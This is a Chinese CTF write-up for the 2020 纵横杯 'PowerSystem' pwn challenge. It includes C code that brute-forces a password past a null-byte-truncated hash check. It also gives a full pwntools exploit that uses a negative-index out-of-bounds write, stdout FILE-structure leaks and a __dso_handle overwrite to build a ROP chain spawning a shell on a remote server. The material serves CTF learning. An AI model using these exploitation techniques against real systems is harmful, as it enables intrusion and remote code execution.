0%

纵横杯2020_PowerSystem

登录逻辑使用的是strncmp进行hash比较

而pwd_hash的内容为

\0截断,因此只需爆破一下密码即可登录成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <openssl/sha.h>
#include <string.h>
#include <unistd.h>

unsigned char result[32];

void print(char *str) {
write(1,str,strlen(str));
}

char hash[33] = "\xe8\x50\x00";

int main() {
char prex[0x9] = {0};
for (int a=0;a<0xff;a++) {
prex[0] = a;
for (int b=0;b<0xff;b++) {
prex[1] = b;
for (int c=0;c<0xff;c++) {
prex[2] = c;
SHA256((const unsigned char*)prex,3,result);
if (!memcmp(hash,result,3)) {
printf("abc=%02x%02x%02x",a,b,c);
}
}
}
}

}

爆破出密码\x40\xa6\x56
主程序中,adjust函数存在负数下标越界

可以利用越界劫持bss上的stdout指针,由于flags字段无法一步控制到位,发现stderr指向的位置正好位于_IO_2_1_stdout上方,且之间距离在0xE0,因此可以写stderr指向的结构,来间接控制_IO_2_1_stdout的flags,从而就可以利用_IO_2_1_stdout进行泄露了。
接下来,在上方有一个dso_handle指针,

它指向自己,但是不能直接达到利用,因为写size时会把指针覆盖掉。

我们可以将_IO_2_1_stdout的缓冲区劫持到dso_handle上方,使得缓冲区里的数据将dso_handle的低字节覆盖,这样就使得dso_handle指针仍然指向了bss附近,但没有指向自己,由此就可以利用adjust来构造任意地址写。最后劫持栈做ROP即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#coding:utf8
from pwn import *

libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.29.so')
#sh = process('./Power_System')
sh = remote('182.92.203.154',15268)

def login():
sh.sendlineafter('>>','2')
sh.sendlineafter('Please input admin account :','QAQ')
sh.sendlineafter('password :','\x40\xa6\x56')

def adjust(index,size,content):
sh.sendlineafter('>>','2')
sh.sendlineafter('power:',str(index))
sh.sendlineafter('size:',str(size))
sh.sendafter('staff:',content)

login()
adjust(-0x6,0,'\x00'*0x17 + '\n')
sh.sendline('2')
sh.sendline('-2')
sh.sendline('0')
sh.send('\x00'*0xd8 + p64(0x0FBAD1887))
sh.recv(1)
sh.recv(0x80)
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x1e5700
system_addr = libc_base + libc.sym['system']
environ_addr = libc_base + libc.sym['__environ']
stdout_vtable_ptr_addr = libc_base + 0x1e5838
print 'libc_base=',hex(libc_base)
print 'stdout_vtable_ptr_addr=',hex(stdout_vtable_ptr_addr)
sh.sendlineafter('>>','')

#泄露栈地址
adjust(-0x6,0,p64(0)*0x3 + p64(environ_addr) + p64(environ_addr + 0x8) + '\n')
sh.sendline('2')
sh.sendline('-2')
sh.sendline('0')
sh.send('\x00'*0xd8 + p64(0x0FBAD1887))
sh.recv(1)
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'stack_addr=',hex(stack_addr)
sh.sendlineafter('>>','')
#泄露程序基址
adjust(-0x6,0,p64(0)*0x3 + p64(stack_addr - 0x30) + p64(stack_addr - 0x30 + 0x8) + '\n')
sh.sendline('2')
sh.sendline('-2')
sh.sendline('0')
sh.send('\x00'*0xd8 + p64(0x0FBAD1887))
sh.recv(1)
elf_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x11ba
base = elf_base + 0x7070
print 'elf_base=',hex(elf_base)
print 'base=',hex(base)
sh.sendlineafter('>>','')
rop_addr = stack_addr - 0xf0 - 0x8

#利用stdout缓冲区修改__dso_handle指针的低位
adjust(-0x6,0,p64(0)*0x6 + p64(elf_base + 0x7000) + p64(elf_base + 0x7009) + '\n')
sh.sendline('2')
sh.sendline('-2')
sh.sendline('0')
sh.send('\x00'*0xd8 + p64(0x0FBAD1887))
sh.sendlineafter('>>','')

adjust(-0xd,0,'\x01'*0x7 + p64(rop_addr) + '\n')
#写rop
pop_rdi = elf_base + 0x00000000000020fb
pop_2 = elf_base + 0x00000000000020f8
binsh_addr = libc_base + libc.search('/bin/sh').next()
sh.sendlineafter('>>','')
adjust(1,0,p64(pop_2) + p64(0)*0x2 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) + '\n')
#getshell
sh.sendlineafter('>>','4')


sh.interactive()